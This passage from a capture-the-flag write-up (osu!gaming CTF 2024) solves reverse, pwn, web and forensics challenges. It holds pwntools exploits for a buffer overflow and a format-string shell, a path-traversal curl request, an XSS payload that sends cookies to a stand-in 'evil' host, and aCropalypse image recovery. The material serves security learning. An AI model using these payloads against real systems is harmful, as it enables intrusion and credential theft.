if ( v19 >= (unsigned int)i32_load(a1 + 4, v22 + 24LL) )
break;
v18 = i32_load(a1 + 4, v22 + 28LL);
v17 = i32_load(a1 + 4, v22 + 12LL) + v18;
v16 = i32_load8_u(a1 + 4, v17);
v15 = 4 * i32_load(a1 + 4, v22 + 12LL) + v20;
i32_store(a1 + 4, v15, (unsigned int)(v16 - 97));
v10 = i32_load(a1 + 4, v22 + 12LL) + 1;
i32_store(a1 + 4, v22 + 12LL, v10);
}
v23 = 0;
if ( !(unsigned int)i32_load(a1 + 4, v20 + 4LL) )
{
v23 = 0;
if ( !(unsigned int)i32_load(a1 + 4, v20 + 32LL) )
{
v23 = 0;
if ( !(unsigned int)i32_load(a1 + 4, v20 + 44LL) )
{
v14 = i32_load(a1 + 4, v20);
v13 = i32_load(a1 + 4, v20 + 8LL);
v8 = i32_load(a1 + 4, v20 + 12LL);
v6 = i32_load(a1 + 4, v20 + 16LL);
v23 = 0;
if ( (w2c_checker_f1(a1, v14, v13, v8, v6) & 1) != 0 )
{
v12 = i32_load(a1 + 4, v20 + 20LL);
v11 = i32_load(a1 + 4, v20 + 24LL);
v9 = i32_load(a1 + 4, v20 + 28LL);
v7 = i32_load(a1 + 4, v20 + 36LL);
v5 = i32_load(a1 + 4, v20 + 40LL);
v23 = w2c_checker_f2(a1, v12, v11, v9, v7, v5);
}
}
}
}
i32_load(a1 + 4, v22 + 20LL);
*a1 = v22 + 32;
return v23 & 1;
}
_BOOL8 __fastcall w2c_checker_f1(_DWORD *a1, unsigned int a2, unsigned int a3, unsigned int a4, unsigned int a5)
{
int v9; // [rsp+44h] [rbp-94h]
int v10; // [rsp+4Ch] [rbp-8Ch]
int v11; // [rsp+54h] [rbp-84h]
int v12; // [rsp+7Ch] [rbp-5Ch]
int v13; // [rsp+A4h] [rbp-34h]
unsigned int v14; // [rsp+C8h] [rbp-10h]
bool v15; // [rsp+D4h] [rbp-4h]
v14 = *a1 - 16;
i32_store(a1 + 4, v14 + 12LL, a2);
i32_store(a1 + 4, v14 + 8LL, a3);
i32_store(a1 + 4, v14 + 4LL, a4);
i32_store(a1 + 4, v14, a5);
v15 = 0;
if ( (unsigned int)i32_load(a1 + 4, v14 + 12LL) == 22 )
{
v13 = i32_load(a1 + 4, v14 + 8LL);
v15 = 0;
if ( (unsigned int)i32_load(a1 + 4, v14 + 4LL) + v13 == 30 )
{
v12 = i32_load(a1 + 4, v14 + 4LL);
v15 = 0;
if ( (unsigned int)i32_load(a1 + 4, v14) * v12 == 168 )
{
v11 = i32_load(a1 + 4, v14 + 12LL);
v10 = i32_load(a1 + 4, v14 + 8LL) + v11;
v9 = i32_load(a1 + 4, v14 + 4LL) + v10;
return (unsigned int)i32_load(a1 + 4, v14) + v9 == 66;
}
}
}
return v15;
}
_BOOL8 __fastcall w2c_checker_f2(
_DWORD *a1,
unsigned int a2,
unsigned int a3,
unsigned int a4,
unsigned int a5,
unsigned int a6)
{
int v11; // [rsp+4Ch] [rbp-154h]
int v12; // [rsp+74h] [rbp-12Ch]
int v13; // [rsp+9Ch] [rbp-104h]
int v14; // [rsp+C8h] [rbp-D8h]
int v15; // [rsp+CCh] [rbp-D4h]
int v16; // [rsp+D4h] [rbp-CCh]
int v17; // [rsp+100h] [rbp-A0h]
int v18; // [rsp+104h] [rbp-9Ch]
int v19; // [rsp+10Ch] [rbp-94h]
int v20; // [rsp+134h] [rbp-6Ch]
int v21; // [rsp+13Ch] [rbp-64h]
int v22; // [rsp+144h] [rbp-5Ch]
int v23; // [rsp+14Ch] [rbp-54h]
int v24; // [rsp+174h] [rbp-2Ch]
int v25; // [rsp+17Ch] [rbp-24h]
int v26; // [rsp+184h] [rbp-1Ch]
int v27; // [rsp+18Ch] [rbp-14h]
unsigned int v28; // [rsp+190h] [rbp-10h]
bool v29; // [rsp+19Ch] [rbp-4h]
v28 = *a1 - 32;
i32_store(a1 + 4, v28 + 28LL, a2);
i32_store(a1 + 4, v28 + 24LL, a3);
i32_store(a1 + 4, v28 + 20LL, a4);
i32_store(a1 + 4, v28 + 16LL, a5);
i32_store(a1 + 4, v28 + 12LL, a6);
v27 = i32_load(a1 + 4, v28 + 28LL);
v26 = i32_load(a1 + 4, v28 + 24LL) + v27;
v25 = i32_load(a1 + 4, v28 + 20LL) + v26;
v24 = i32_load(a1 + 4, v28 + 16LL) + v25;
v29 = 0;
if ( (unsigned int)i32_load(a1 + 4, v28 + 12LL) + v24 == 71 )
{
v23 = i32_load(a1 + 4, v28 + 28LL);
v22 = i32_load(a1 + 4, v28 + 24LL) * v23;
v21 = i32_load(a1 + 4, v28 + 20LL) * v22;
v20 = i32_load(a1 + 4, v28 + 16LL) * v21;
v29 = 0;
if ( (unsigned int)i32_load(a1 + 4, v28 + 12LL) * v20 == 449280 )
{
v19 = i32_load(a1 + 4, v28 + 28LL);
v18 = i32_load(a1 + 4, v28 + 28LL) * v19;
v17 = i32_load(a1 + 4, v28 + 24LL);
v29 = 0;
if ( (unsigned int)i32_load(a1 + 4, v28 + 24LL) * v17 + v18 == 724 )
{
v16 = i32_load(a1 + 4, v28 + 20LL);
v15 = i32_load(a1 + 4, v28 + 20LL) * v16;
v14 = i32_load(a1 + 4, v28 + 16LL);
v29 = 0;
if ( (unsigned int)i32_load(a1 + 4, v28 + 16LL) * v14 + v15 == 313 )
{
v13 = i32_load(a1 + 4, v28 + 12LL);
v29 = 0;
if ( (unsigned int)i32_load(a1 + 4, v28 + 12LL) * v13 == 64 )
{
v12 = i32_load(a1 + 4, v28 + 28LL);
v29 = 0;
if ( (unsigned int)i32_load(a1 + 4, v28 + 20LL) + v12 == 30 )
{
v11 = i32_load(a1 + 4, v28 + 28LL);
return v11 - (unsigned int)i32_load(a1 + 4, v28 + 16LL) == 5;
}
}
}
}
}
}
return v29;
}
Or, if you have JEB Decompiler
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int checker(int param0, int param1) {
int* ptr0 = __g0 - 8;
__g0 -= 8;
*(ptr0 + 7) = param0;
*(ptr0 + 6) = param1;
int v0 = *(ptr0 + 6);
*(ptr0 + 5) = ptr0;
int* ptr1 = (int*)((int)ptr0 - ((v0 * 4 + 15) & 0xfffffff0));
__g0 = (int)ptr0 - ((v0 * 4 + 15) & 0xfffffff0);
*(ptr0 + 4) = v0;
*(ptr0 + 3) = 0;
while((unsigned int)*(ptr0 + 3) < (unsigned int)*(ptr0 + 6)) {
*(int*)(*(ptr0 + 3) * 4 + (int)ptr1) = (int)*(char*)(*(ptr0 + 3) + *(ptr0 + 7)) - 97;
++*(ptr0 + 3);
}
int v1 = 0;
if(!*(ptr1 + 1)) {
v1 = 0;
if(!*(ptr1 + 8)) {
v1 = 0;
if(!*(ptr1 + 11)) {
int v2 = __f1(*(ptr1 + 4), *(ptr1 + 3), *(ptr1 + 2), *ptr1);
v1 = 0;
if((v2 & 0x1) != 0) {
v1 = __f2(*(ptr1 + 10), *(ptr1 + 9), *(ptr1 + 7), *(ptr1 + 6), *(ptr1 + 5));
}
}
}
}
__g0 = ptr0 + 8;
return v1 & 0x1;
}
int __f1(int param0, int param1, int param2, int param3) {
int* ptr0 = __g0 - 4;
*(ptr0 + 3) = param0;
*(ptr0 + 2) = param1;
*(ptr0 + 1) = param2;
*ptr0 = param3;
int v0 = 0;
if(*(ptr0 + 3) == 22) {
v0 = 0;
if(*(ptr0 + 1) + *(ptr0 + 2) == 30) {
v0 = 0;
if(*(ptr0 + 1) * *ptr0 == 168) {
v0 = (unsigned int)(*(ptr0 + 1) + *(ptr0 + 2) + (*(ptr0 + 3) + *ptr0) == 66);
}
}
}
return v0 & 0x1;
}
int __f2(int param0, int param1, int param2, int param3, int param4) {
int* ptr0 = __g0 - 8;
*(ptr0 + 7) = param0;
*(ptr0 + 6) = param1;
*(ptr0 + 5) = param2;
*(ptr0 + 4) = param3;
*(ptr0 + 3) = param4;
int v0 = 0;
if(*(ptr0 + 3) + *(ptr0 + 4) + (*(ptr0 + 5) + *(ptr0 + 6)) + *(ptr0 + 7) == 71) {
v0 = 0;
if(*(ptr0 + 3) * *(ptr0 + 4) * (*(ptr0 + 5) * *(ptr0 + 6)) * *(ptr0 + 7) == 0x6db00) {
v0 = 0;
if(*(ptr0 + 6) * *(ptr0 + 6) + *(ptr0 + 7) * *(ptr0 + 7) == 724) {
v0 = 0;
if(*(ptr0 + 4) * *(ptr0 + 4) + *(ptr0 + 5) * *(ptr0 + 5) == 313) {
v0 = 0;
if(*(ptr0 + 3) * *(ptr0 + 3) == 64) {
v0 = 0;
if(*(ptr0 + 5) + *(ptr0 + 7) == 30) {
v0 = (unsigned int)(*(ptr0 + 7) - *(ptr0 + 4) == 5);
}
}
}
}
}
}
return v0 & 0x1;
}
which seems more readable.
However, if you compare the two codes, you will noticed that they pass arguments in the opposite order(Similar reports in a writeup). By trying the both, it turned out that IDA
was correct.
The constrains can then be simplified to this solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from z3 import *
x = [Int(f"x_{i}") for i in range(12)]
c = [i - 97 for i in x]
s = Solver()
s.add(
0 == c[1],
0 == c[8],
0 == c[11],
c[0] == 22,
c[3] + c[2] == 30,
c[3] * c[4] == 168,
c[3] + c[2] + c[0] + c[4] == 66,
c[10] + c[9] + (c[7] + c[6]) + c[5] == 71,
c[10] * c[9] * (c[7] * c[6]) * c[5] == 449280,
c[6] * c[6] + c[5] * c[5] == 724,
c[9] * c[9] + c[7] * c[7] == 313,
c[10] * c[10] == 64,
c[7] + c[5] == 30,
c[5] - c[9] == 5,
)
s.check()
m = s.model()
x = [m[i].as_long() for i in x]
print(bytes(x))
# osu{wasmosumania}
Pwn
betterthanu
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
FILE *flag_file;
char flag[100];
int main(void) {
unsigned int pp;
unsigned long my_pp;
char buf[16];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("How much pp did you get? ");
fgets(buf, 100, stdin);
pp = atoi(buf);
my_pp = pp + 1;
printf("Any last words?\n");
fgets(buf, 100, stdin);
if (pp <= my_pp) {
printf("Ha! I got %d\n", my_pp);
printf("Maybe you'll beat me next time\n");
} else {
printf("What??? how did you beat me??\n");
printf("Hmm... I'll consider giving you the flag\n");
if (pp == 727) {
printf("Wait, you got %d pp?\n", pp);
printf("You can't possibly be an NPC! Here, have the flag: ");
flag_file = fopen("flag.txt", "r");
fgets(flag, sizeof(flag), flag_file);
printf("%s\n", flag);
} else {
printf("Just kidding!\n");
}
}
return 0;
}
solution
Baby overflow.
1
2
3
4
5
6
7
from pwn import *
p = remote('chal.osugaming.lol',7279)
p.sendline(b'0')
p.sendline(b'a'*16+p64(0)+p32(0)+p32(727))
p.interactive()
# osu{i_cant_believe_i_saw_it}
miss-analyzer
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
char mode; // [rsp+15h] [rbp-14Bh]
__int16 miss; // [rsp+16h] [rbp-14Ah]
char *hex_; // [rsp+18h] [rbp-148h] BYREF
size_t n; // [rsp+20h] [rbp-140h] BYREF
_BYTE *bin_; // [rsp+28h] [rbp-138h] BYREF
size_t left_bytes; // [rsp+30h] [rbp-130h] BYREF
_BYTE *stream; // [rsp+38h] [rbp-128h] BYREF
char buffer[264]; // [rsp+40h] [rbp-120h] BYREF
unsigned __int64 canary; // [rsp+148h] [rbp-18h]
canary = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
hex_ = 0LL;
n = 0LL;
if ( getline(&hex_, &n, stdin) <= 0 )
break;
v3 = hex_;
v3[strcspn(hex_, "\n")] = 0;
if ( !*hex_ )
break;
left_bytes = hexs2bin(hex_, &bin_);
stream = bin_;
if ( !left_bytes )
{
puts("Error: failed to decode hex");
return 1;
}
puts("\n=~= miss-analyzer =~=");
mode = read_byte(&stream, &left_bytes);
if ( mode )
{
switch ( mode )
{
case 1:
puts("Mode: osu!taiko");
break;
case 2:
puts("Mode: osu!catch");
break;
case 3:
puts("Mode: osu!mania");
break;
}
}
else
{
puts("Mode: osu!");
}
consume_bytes(&stream, &left_bytes, 4);
read_string(&stream, &left_bytes, buffer, 0xFFu);
printf("Hash: %s\n", buffer);
read_string(&stream, &left_bytes, buffer, 0xFFu);
printf("Player name: ");
printf(buffer);
putchar('\n');
read_string(&stream, &left_bytes, buffer, 0xFFu);
consume_bytes(&stream, &left_bytes, 10);
miss = read_short(&stream, &left_bytes);
printf("Miss count: %d\n", (unsigned int)miss);
if ( miss )
puts("Yep, looks like you missed.");
else
puts("You didn't miss!");
puts("=~=~=~=~=~=~=~=~=~=~=\n");
free(hex_);
free(bin_);
}
return 0;
}
solution
The vulnerability lies in printf(buffer)
. And there comes the common routines for classic format string vulnerability: leaking libc
, finding one_gadget
, and overwritting retaddr
.
Reading wiki on .osr format can help understand the rest of the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ one_gadget ./libc.so.6
0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
By the way: one_gadget --script
can be used to automatically test one_gadget useability
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch='amd64')
elf = ELF('./analyzer')
libc = ELF('./libc.so.6')
main = elf.symbols['main']
putchar_got = elf.got['putchar']
def make_str(s):
return b'\x0b' + bytes([len(s)]) + (s.encode() if isinstance(s,str) else s)
# p = process('./analyzer')
p = remote('chal.osugaming.lol', 7273)
offset = 14
leak_libc_payload = '%51$p'
payload = b'\0'+b'a'*4 + make_str('0'*32) + make_str(leak_libc_payload) + make_str('0'*32) + b'a'*10 + b'\0'*2
p.sendline(payload.hex().encode())
p.recvuntil(b'Player name: ')
libc_base = int(p.recvline().decode().strip(),16) - 0x29d90
one_gadget = libc_base + 0xebc85
payload = b'\0'+b'a'*4 + make_str('1'*32) + make_str(fmtstr_payload(offset,{putchar_got:one_gadget})) + make_str('0'*32) + b'a'*10 + b'\0'*2
p.sendline(payload.hex().encode())
p.interactive()
# osu{1_h4te_c!!!!!!!!}
Web
mikufanpage
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const express = require('express');
const path = require('path');
const app = express();
const PORT = process.env.PORT ?? 3000;
app.use(express.static(path.join(__dirname, 'public')));
app.listen(PORT, (err) =>{
if(!err)
console.log("mikufanpage running on port "+ PORT)
else
console.log("Err ", err);
});
app.get("/image", (req, res) => {
if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
res.sendFile(path.resolve('./img/' + req.query.path));
} else {
res.status(403).send('Access Denied');
}
});
solution
req.query.path.split(".")[1]
doesn’t means extension. Even GPT can notice this.
1
2
curl https://mikufanpage.web.osugaming.lol/image?path=.jpg./../flag.txt
# osu{miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku}
when-you-dont-see-it
challenge
welcome to web! there’s a flag somewhere on my osu! profile…
https://osu.ppy.sh/users/11118671
solution
Visit the webpage, in the introduction writes "nothing to see here"
.
1
2
3
4
5
6
7
8
9
$ curl https://osu.ppy.sh/users/11118671 | grep -oE ".{300}nothing to see here.{300}"
nt_banner":null,"active_tournament_banners":[],"badges":[],"
comments_count":0,"follower_count":66,"groups":[],"
mapping_follower_count":3,"page":{"html":"<div
class='bbcode bbcode--profile-page'>nothing to see here
\ud83d\udc40\ud83d\udc40
<span><\/span><\/div>","raw":"nothing to see here
\ud83d\udc40\ud83d\udc40 [color=]the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with
base64]"},"pending_beatmapset_count":0,"previous_usernames":["AntiTeal&qu
the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with base64
1
2
$ echo b3N1e29rX3Vfc2VlX21lfQ== | base64 -d
osu{ok_u_see_me}
profile-page
challenge
app.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import express from "express";
import expressSession from "express-session";
import cookieParser from "cookie-parser";
import crypto from "crypto";
import { JSDOM } from "jsdom";
import DOMPurify from "dompurify";
const app = express();
const PORT = process.env.PORT || 2727;
app.use(express.urlencoded({ extended: false }));
app.use(expressSession({
secret: crypto.randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: false
}));
app.use(express.static("public"));
app.use(cookieParser());
app.set("view engine", "hbs");
app.use((req, res, next) => {
if (req.session.user && users.has(req.session.user)) {
req.user = users.get(req.session.user);
res.locals.user = req.user;
}
next();
});
const window = new JSDOM('').window;
const purify = DOMPurify(window);
const renderBBCode = (data) => {
data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>');
data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>');
data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>');
data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>');
data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>');
data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>');
data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>');
data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />');
return data;
};
const renderBio = (data) => {
const html = renderBBCode(data);
console.log("html = ", html);
const sanitized = purify.sanitize(html);
console.log("sanitized = ", sanitized);
// do this after sanitization because otherwise iframe will be removed
const res = sanitized.replaceAll(
/\[youtube\](.+?)\[\/youtube\]/g,
'<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
);
console.log("res = ", res);
return res;
};
const sha256 = (data) => crypto.createHash('sha256').update(data).digest('hex');
const users = new Map();
const requiresLogin = (req, res, next) => req.user ? next() : res.redirect("/login");
app.post("/api/register", (req, res) => {
const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") {
return res.end("missing username or password");
}
if (username.length < 5 || password.length < 8) {
return res.end("username or password too short");
}
if (username.length > 30 || /[^A-Za-z0-9 ]/.test(username)) {
return res.end("invalid username format");
}
if (users.has(username)) {
return res.end("a user already exists with that username");
}
users.set(username, {
username,
password: sha256(password),
bio: renderBio(`Welcome to ${username}'s page!`)
});
req.session.user = username;
res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
res.redirect("/profile/" + username);
});
app.post("/api/login", (req, res) => {
const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") {
return res.end("missing username or password");
}
if (!users.has(username)) {
return res.end("no user exists with that username");
}
if (users.get(username).password !== sha256(password)) {
return res.end("invalid password");
}
req.session.user = username;
res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
res.redirect("/profile/" + username);
});
// TODO: update bio from UI
app.post("/api/update", requiresLogin, (req, res) => {
const { bio } = req.body;
if (!bio || typeof bio !== "string") {
return res.end("missing bio");
}
if (!req.headers.csrf) {
return res.end("missing csrf token");
}
if (req.headers.csrf !== req.cookies.csrf) {
return res.end("invalid csrf token");
}
if (bio.length > 2048) {
return res.end("bio too long");
}
req.user.bio = renderBio(bio);
res.send(`Bio updated!`);
});
app.get("/login", (req, res) => res.render("login"));
app.get("/register", (req, res) => res.render("register"));
app.get("/profile", requiresLogin, (req, res) => res.redirect("/profile/" + req.user.username));
app.get("/profile/:user", (req, res) => {
const { user } = req.params;
if (!users.has(user)) {
return res.end("no user exists with that username!");
}
res.locals.user = users.get(user);
res.render("profile");
});
app.get("/", (req, res) => res.redirect("/profile"));
app.get('*', (req, res) => {
res.set("Content-Type", "text/plain");
res.status = 404;
res.send(`Error: ${req.originalUrl} was not found`);
});
app.listen(PORT, () => console.log(`web/profile-page listening at http://localhost:${PORT}`));
adminbot_test.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// admin bot test script
// npm i puppeteer
const puppeteer = require("puppeteer");
const FLAG = "osu{test_flag}";
const SITE = "https://profile-page.web.osugaming.lol";
const sleep = ms => new Promise(r => setTimeout(r, ms));
async function visit(url) {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});
let page = await browser.newPage();
await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' });
await page.evaluate((flag) => {
document.cookie = "flag=" + flag + "; secure; path=/";
}, FLAG);
await page.close();
page = await browser.newPage();
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await sleep(5000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
}
visit("http://localhost:2727/profile/aaaaa");
solution
Apparent XSS in renderBio()
:
1
2
3
4
5
// do this after sanitization because otherwise iframe will be removed
const res = sanitized.replaceAll(
/\[youtube\](.+?)\[\/youtube\]/g,
'<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
);
He even gave us sandbox="allow-scripts"
. So nice of him.
payload:
1
[youtube]" onload=fetch("http://evil/?c="+document.cookie) title="notitle[/youtube]
forensics
nathan-on-osu
challenge
solution
Normal check:
1
2
3
4
5
$ pngcheck nathan_on_osu.png
zlib warning: different version (expected 1.2.13, using 1.3)
nathan_on_osu.png additional data after IEND chunk
ERROR: nathan_on_osu.png
additional data after IEND chunk? Open it in a hex editor:
1
2
3
4
5
00000000 af 54 72 13 2b 00 00 00 00 49 45 4e 44 ae 42 60 |¯Tr.+....IEND®B`|
00000010 82 b1 3d a9 ee d7 92 a5 6d 93 37 3d 7d 6f fd d3 |.±=©î×.¥m.7=}oýÓ|
00000020 0f 57 b7 cf 5e f3 d3 ec d9 f7 7f dc 88 dd de 05 |.W·Ï^óÓìÙ÷.Ü.ÝÞ.|
00000030 1c f4 8d 9d d8 91 25 d8 8e 0f b0 dd 33 ef 7c b3 |.ô..Ø.%Ø..°Ý3ï|³|
00000040 b8 ed e9 85 47 b7 f6 9e 3e b9 e1 d0 d1 e5 3b f7 |¸íé.G·ö.>¹áÐÑå;÷|
Emm, not readable text.
Roll to the end:
1
2
3
4
5
6
00000000 92 6b e8 ab ee 48 0a e4 5e 9e d7 66 03 d0 7a d6 |.kè«îH.ä^.×f.ÐzÖ|
00000010 ed 05 90 a9 55 7b 6b e6 1a 75 78 41 df 13 b7 57 |í..©U{kæ.uxAß.·W|
00000020 25 b0 d3 2a 80 98 a6 d3 86 8c b2 0a 54 ac 8a 34 |%°Ó*..¦Ó..².T¬.4|
00000030 84 e4 4a 14 fb 54 25 9c 92 90 67 02 38 e4 65 83 |.äJ.ûT%...g.8äe.|
00000040 01 5d 13 36 5f f7 ff 01 7e 5a a1 4b af 7a aa c8 |.].6_÷ÿ.~Z¡K¯zªÈ|
00000050 00 00 00 00 49 45 4e 44 ae 42 60 82 |....IEND®B`.|
Another IEND
?
A word hit me: aCropalypse
. Known as CVE-2023-21036
and CVE-2023-28303
.
There’s an out-of-the-box PoC: (Maybe a more well-known PoC is https://acropalypse.app/, but it never works for me)
However, having tried all the preset resolutions, all of them responsed with:
1
2
Error reconstructing the image!
Are you using the right mode and resolution?
To be honest, I stucked here for quite a while. After I had finished some other challenges, I came back to reinspect its source code:
1
2
3
except Exception:
self.label_log.config(text=f"Error reconstructing the image! \nAre you using the right mode and resolution?", anchor='center', justify='center')
self.reconstructing=False
Emm, why don’t you tell me what Exception
it is?
1
2
3
4
5
except Exception as e:
import traceback
print(traceback.format_exc())
self.label_log.config(text=f"Error reconstructing the image! \nAre you using the right mode and resolution?", anchor='center', justify='center')
self.reconstructing=False
Re-running:
1
2
3
4
5
6
7
8
9
10
11
Traceback (most recent call last):
File "/PATH/TO/osu!gaming CTF 2024/forensics/nathan-on-osu/Acropalypse-Multi-Tool-1.0.0/gui.py", line 381, in acrop_now
image = image.resize((max_width, new_height))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/.local/lib/python3.11/site-packages/PIL/Image.py", line 2157, in resize
self.load()
File "/home/kali/.local/lib/python3.11/site-packages/PIL/ImageFile.py", line 288, in load
raise_oserror(err_code)
File "/home/kali/.local/lib/python3.11/site-packages/PIL/ImageFile.py", line 72, in raise_oserror
raise OSError(msg)
OSError: unrecognized data stream contents when reading image file
Well, here’s the context:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try:
if pathlib.Path(self.cropped_image_file).suffix == ".gif":
image = Image.open(os.path.join(tempdir, 'restored.gif'))
elif pathlib.Path(self.cropped_image_file).suffix == ".png":
image = Image.open(os.path.join(tempdir, 'restored.png'))
# Größe des Bildes entsprechend anpassen
max_width = round(self.left_frame.winfo_width() * 0.98)
max_height = round(self.left_frame.winfo_height() * 0.98)
width, height = image.size
if width > max_width:
new_height = int(height * max_width / width)
image = image.resize((max_width, new_height))
width, height = image.size
if height > max_height:
new_width = int(width * max_height / height)
image = image.resize((new_width, max_height))
It seems that the image has already been restored, but was unable to be resized. Well, since we don’t know the exact resolution of the image, this was not beyond my expectation. So can we bruteforce the resolution?
Traversing both the length and width at the same time could be time-consuming. However, we can only enuming width and manually check the image since excessive height won’t hurt the quality of the image too much.
So we completely comment out this part to ignore the error, fix height=1080
and bruteforce the width from original_width+1
:
(created by diff -wb
, don’t apply directly)
1
2
3
4
5
6
7
8
9
10
11
12
132c132,135
< out = open(os.path.join(tempdir, 'restored.png'), "wb")
---
> tempdir = '../out/'
> orig_height = 1080
> for orig_width in range(1048,2160):
> out = open(os.path.join(tempdir, f'{orig_width}.png'), "wb")
161c164,165
< print("Done!")
---
> print(f"Done {orig_width}!")
> out.close()
It turns out that the original width was 1440.